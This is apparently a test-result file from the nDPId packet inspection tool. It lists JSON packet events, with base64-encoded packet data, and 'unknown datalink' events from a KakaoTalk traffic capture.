+00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":107672,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALYAAEAAPxHa7AoYUrwByQGuLDhaBACillKAbE9rizxSmguGVRku0Ov9\/nQYp+xf9Zj0Zg2\/1NLzWI8MRdVNo2XPtZSMCf0v9ILFp52GAV2EARaSwXg37U5jyDEEltmHMOnVBf3bWpDTl0o4LQx3lzNYHz0TYgOC1Qm+JH9pocAKF3m7a3n4JvO\/ufxSzJMDjFeBtyoZLQdXmYXV6Bo1i4GYv25XYbTD4MqfUmxOTOb5s1JY"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":108557,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAPxHbJwoYUrwByQGuLDhaBABnV02AbE9sizxWWguGVRmMKuDYVa9RVr+XwKEZCOj5aUxooU9eg6dEsF4QaKj3wdhWOrpAC\/mhCoMcQU+rbv3BO+5oXqxFPXyRHIYDWaxqbH4D5u\/ORAK0O8+GPnZcrVMojA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":137305,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAQBHZ\/goYUrwByQGuKBxaBgCQhumAbDHyfqu4A1Sapdr6I6GyURuV2EUBMGbLuuxpwlrkYaYSD4bpuAoydKX5ZwBqesoPm46V69y09WuZbKgdUBUZpENF9d8mFUVWdfUAtLTDjzauPsS\/c5OMQmtzeWKps3Vka2vXQVAvAISl4ebEu8+3e4n+FV4Ixmk3Awewcb+1QpFOyhLDZ+lz"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":213233,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAPxHbKQoYUrwByQGuLDhaBABl6weAbE9tizxaGguGVRlzglReFfuv4RYHp\/wy9Jdy8Rd3spKZ7\/JmE1uj4reFIhnrPv+Die\/basxFGW86lQ1XhR\/Q9ZL8pFV6BDZ32Jn13WQP6RjPk4z3ks8Js5BYVCs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":217810,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJYAAEAAQBHaDAoYUrwByQGuKBxaBgCCG1iAbDHzfqu7w1SapdpQN+jthT9a4ukBkCSvQWV34X1fOvzEDTpAag3TiagPGg3Kjg+ZJqmy0RD9E5spSaOgorTNfm7nEqH69HyaQ1DKZKEtFv5nG+zEl92Z55HOrqSetn1yVUVsAH8KeNXKg1Swb68Y49CHlIANOqhx0Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":258338,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAQBHaDwoYUrwByQGuKBxaBgB\/7PaAbDH0fqu\/g1Sapdo8saphohBolpOCDfOkNVTvi1t4BqJ1Zy3ZTQtO9WqK2MZmlGmaR8jClEnVBHq1uLSA\/NHwCD7\/0M+nEklNoj2Ej9g+LDXFnH5JkwIkvR+m6ZG8kh9GxzSR1iMUTmUN1qYKj93J4tFg3Iw7Vg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":312812,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAPxHbLQoYUrwByQGuLDhaBABh2qmAbE9uizxd2guGVRnXFHrSmtXcZirKqAKOjwdU+xQ7CCLU5lTow0m6ixNI7pf+i\/O6oqohPBquQPqmBdBqnv4ziCrHpqbWCsfxNTSRRKuUJM5mqWM4ShlaBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":312995,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAPxHbOgoYUrwByQGuLDhaBABU9ueAbE9vizxhmguGVRmXP99PNzrdSfbmiTmaX+5Xv\/3YaEFE6fC1O\/f\/x23d\/mR733eLkMtNQBlDU\/u5urOL4cLSEoRCoFEKyY1kv2J5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":337592,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKYAAEAAQBHZ\/AoYUrwByQGuKBxaBgCSLumAbDH1fqvDQ1SapdoCy5dMueenBdEXjLgrvR0c7XTeHb1RvbZFe0td6HQLgmW+i\/PF8tv4YX1\/1R\/EvqnTuHUZBfhTYP5T0yL14CMszw3mv3BA8FKvhXBzbBHC8ViXa0AArbX0tS32OjdNJCrUGBmEi2TrxwdTY2RaN\/s3sqJp4MabLWB6ceneMRE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":367499,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHRH83gHJAa4KGFK8WgQsOACIgiCAbDHlfquHQ1SapdrhfYA\/7VOgelKHEmARqd9mxP\/O9e4npcntO6L92b21OO4uDPV3\/TGzaGYumccOeRe8DDsYENYZ+yLcOMDYHq10sP+7IZxAh9n5sMhGmcQX5VPDdQjf2fJiVnn+j9GEmVMxtZQ0Hn2QNjhJFIR3Sd2GB45bNQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":367865,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMAAAEAAHBH9ugHJAa4KGFK8WgYoHACskwOAbE9fizwlmguGVRlSNc2\/wSmvzjjvGv4P4NSXMqYJ5jdvpL0XARjugckSCN4iMm1kO3uiC2+IjAUlk50fK+uFGZr7fXRiO9OIbKzErlg7iu1DU8X1rvwForNmF1pG8k4w3J4OOSk5yZhvMCPX9OA2XCRVXpI\/nxZh1M7Tlf4tgoAdnOLRiULDT5nEvK8MT8s84MX2yvpRAYYd\/c50VGnQGGD2Ww=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":371436,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALsAAEAAHBH9vwHJAa4KGFK8WgYoHACn74yAbE9gizwpWguGVRkM17YN1IVsm5vE4mDzbPOtR1RSEdsKXFwnI4GJapVGD5RwLC9aLmhOvmzC3pYX4vHStmpLMsFgb2vKx8EZzU5n4s4xUTc5+PIEDXXR0sgdpJA7tyOtmW3ohzQ4q2+M8V1d9SFcGWLdr4c953r0adUiJR\/ZjaQcyfghFLNP5gOW8T50cMnamJmZVyvT1RbB2stl04Y="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":371527,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACfWhGAbE9hizwtGguGVRkHJ\/lZnHffblXOiXNWVzqduUt2cY4UDDB8g71KwEXpMzC\/7Yo81J+vnrOvPK4NtTn7SnPKgWqWIboAOMlmQbd\/I39X0eJY5VpWYatLb2yeV\/kHWTR9uTjLCuYKrQq1e7QBGMRO1dDjikWa7vAL0qUvzFBkV8KBpfqux9r0r55qK3shX+pbHF4nxtYJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":371558,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANMAAEAAHRH8pwHJAa4KGFK8WgQsOAC\/kKCAbDHnfquOw1SapdrTboxIov5hXCX0+vnRRPmVQCssQ94RCafFq7wSBL8d6s9iOCuM+r8WDehqJWJ17vvPDij2q9RGBbi1b4AN0mBQ5offzCZPr+G7NND+xZO6A0XY\/12zS4RBwifhL2GPGWSqtfzxsZdpdQZM3CyXMTqMjb2dd7BYyQVbHffh4eAyjBKqkS98\/qxK8hC2X+OUoYdVYsAubjd9G3sACBLqcUPqBxr0P5IBP+JuxTg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":371894,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHRH8sQHJAa4KGFK8WgQsOAC11g6AbDHmfquLA1Sapdo+JsrzLm\/qhVVudWRMgeOzzMAA3LZH8QuYnq8RF0u7RLlvgrkYo\/SQw3HgqMIYVyZ7OXO8yOOYosgw60a2lKXbkWW7D8Hl3UGNlo32keZAwgWzjuiUp+EkGLrtMay5MK3ll8eaULOBHeW6dT3E7DaKYNmedQLRe1PWDsaUBMj\/87ef+Y+50zTpFecns3bdZRgkotdjziKl+wbD5QBWLE2vAw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":398657,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH0AAEAAQBHaJQoYUrwByQGuKBxaBgBpiC2AbDH2fqvHA1Sapdr4tjAIlq\/Z98LAFlHL7adTjkqJ6DXadx\/Ne\/4GmeexatjSJP0IY\/Co3v\/gAcAb5bOemwYhDk89lwR9LeBfTH+wNsk71knMF2GK8JeTnViXLH61AwjW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":399451,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAHBH9uAHJAa4KGFK8WgYoHACuXVuAbE9iizww2guGVRkW1ldKIq1v\/Ym2vbq9ilkm+LfC74O3H1TpffGA+9FxOcxiL8QHUhHP+FPNWwH1kKk2XBYaQI7iAMcgiyK7IMcifQ8ghPSKHgpWenx9Tuv\/ceEwC4YU9\/GZ2H9W2d82OkLt7vwSD1v2VNSnkI3KtRtmYPJaupYf8Ift\/AUiFOPGw79oW1basxIqQy9vJVbzUvMRbmXx6spcFJ+q"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":407752,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAPxHbOgoYUrwByQGuLDhaBABU0qOAbE9wizxlWguGVRnT4vALuqNyzOVOJ\/XTb7bB\/4akdiT4veKfo7Ta4SiT04x0nZHV+egvw2f+0eAnUo7RAUSlhUlFrP5npCMQ6dqu"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00615{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":407935,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANUAAEAAHRH8pQHJAa4KGFK8WgQsOADBTwaAbDHofquSg1SapdptKqtzjstNOE4JUVvbMmg13zp9c2+nL0U9LCgaUTXeMuxB9VqCMii8UKIOczTsOv1XSkRM\/j28PC5chiQGthD3TAiN538I1zpQwWZhLMLxGV7aEAvIgZ\/3avslhOs\/zVXhWiR73RKcsxh7FKzigoG3JRQkObrqf7RfvtiDoTx3J9jISnGPvDsLBamTxBZs9KA6KfabMhWlPeY+jjZCDYexxwlGIfOP5O2\/h1czRQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":408667,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVZhaAbE9xizxpGguGVRm+hGcvXgYF0LRqfz68cnwNzygg1uKpaoatDZET0xz0Nl+x39HfCvl9mFPJGyC6ujzY\/\/9O4kP6sNOaC6zUktjpvw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":429969,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMAAAEAAHBH9ugHJAa4KGFK8WgYoHACshkWAbE9jizw0mguGVRm\/DiFneEwoNDf5YivW6EHanHwdcu\/zzM9XgxNAx4R+Xu8ZxUIg6\/01VFy00hOAt2d6LYIFG2h6AAxjIorZtFylpsh3d1uSFITHmIZg\/yU4MZlr9oM+s0QkJNFm2rHC9Tc7N9Ag4bzCqV2l13QrQF+p9QdcARmewPfbUdFGX4AMDpKh77IeRV6STTiaEjthF3WvY64wT3S5+w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00623{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":451453,"pkt_caplen":236,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":236,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANwAAEAAHRH8ngHJAa4KGFK8WgQsOADIz2WAbDHpfquWQ1SapdoAh5PMfRWqqY6ecLGk\/leBRZX3Il72ywTpwqGzZ7y9zF96BFaH5SaEeKeYkDkmRS+LJoeKCqpaDzODn0\/34zlMUi2NSaDzRvRtbq5mM7UIMhVxzqm0rjzekGLVjbKuUMrHq2WsE7KjxXZleTnmwHM5ZssQme0hw\/vw1VpH+BchhpvZne8Iis9y2pKK0eg6bwUpL\/rC5urq7i1XoGDpq2vcdXwbnUWuFpBLkyjk0ApKN5iig+4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":459387,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMcAAEAAHRH8swHJAa4KGFK8WgQsOACztc2AbDHqfquaA1Sapdqo5OHGEW6ox50JHqKF91JzaIHYj+ZSyrozk1ZnBuxGhCZkqt1KhCSJtD2EDE4eGqsqeKSzfHe+eG\/f+QlHmBmddTL7kBiqG51MDOhEmzi\/rLfxapXl708I2vascfhq6GenWci+OQW9DjzN14VdFlApGpLLG+D+5o\/NwkPQd00uZ6HtTNS4OLrxipl8+XHv2Ucy3cDcXoMNjkOpE0t14uM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":479468,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHBH9wQHJAa4KGFK8WgYoHAClqCCAbE9kizw4WguGVRn26sEhB1i8+BfsozbyV4oXt9uYAAeOPZQokuYlM2fL0RxJJx2AP7uJzbeZogOPtzSdu+0SchFlO5Qe3YXYulr4DAH9bkSLdISvJxzvkFE2ta9hlkuWKIPQdWbY3FpXi+vxXKEPoVv3NF0fyIyhN5O0N6k8PT+YUh8omdaNs1IjeFeckT1Mx7V\/U1bBd+psCCRD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":480902,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIIAAEAAQBHaIAoYUrwByQGuKBxaBgBub2eAbDH3fqvKw1SapdpFGvgG6vE38EYQUk8CbHdbpwm98fsgn29Q1Lf\/puVUu6EDvLtzO6CoMfIri+Zg5XIzIFD4GU1pZz7TP+Oo5UjBe4n9yLTjLbFK\/hSE4baC3OoypvzPHMG\/7KE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":507758,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAPxHbNwoYUrwByQGuLDhaBABXO1iAbE9yizxs2guGVRmxcC+\/Ftdr0R7+X8AWjNmrHsO\/RBR6qygYdHLRE1Qg4O9S1vzyZ1clst8HReo72JSt8JuFgutdAHG9jfHfiZxNIB0z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":540930,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBm\/keAbDH4fqvOg1SapdoP\/WePxZkyFohDg1iLnX0aU9vYUbnNDUgnjxe9UWUh7jVy95+JzUMNaAHvOL\/Ep+UcT1qCQ2i4mp\/LyLh6nL1CHvhCSiHBZdvyPRJssJrcILSi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":551581,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL0AAEAAHRH8vQHJAa4KGFK8WgQsOACpk0uAbDHrfqudw1SapdpE1tDlk\/vTiiU+vqn6sI8If08KKAmjwtFr9j9\/PWStlcHb5jmqwwVDMWnnaF0+eZGDAUKCD41PRhoUL70IjhCJtP0nKK\/mVlom\/Q1IUn7QWkSbreSexa42gp5HN9o+Be0LDc4cL8DKLtXNcwTiGXd08NZIfgKPP5TVhUHivHwQpHsLCWrYdzgaXEnv57Qnc7cKEFuprg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":552222,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMcAAEAAHRH8swHJAa4KGFK8WgQsOACzWg2AbDHsfquhg1Sapdrs063WS\/9Ep8Qi+rZB2\/7yhqss1r7a6pEGQY0OlH3TvwnxsPczx9O3DZd2Dz5vmkfa623QAaIl5uwnG7usQ1VRFroeQvttpLVHkHgGmn3ID\/t++Z27gu1IUdKHMsmgWTHnfVhM6D+n5A0jP5m3beN5Y4NIhtJNAijlY91ytbSkRVkeLSoJyGTMbDuBDnrGNlzh+T8RiSOu3r57niY9IGk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00581{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":552771,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALsAAEAAHBH9vwHJAa4KGFK8WgYoHACn7wKAbE9mizw\/2guGVRmWm5wFHy+vEBL38vkjYx3EjoxbkSMH9HJ\/LuWEki99PNFO9btKv2ufd2hVb5I95XqzHocmNChs4gDOsDMmTB86ZIW\/OMNRYr+wYfzyzv+jxd3ClxTmSpIF1wLO\/leTML1gyMEMWwQJhAOC+qf1P\/T9KZQtbr9ym9syrajZumLhRzuToh\/wfoYbmjmaDCM32CDIjXY="} 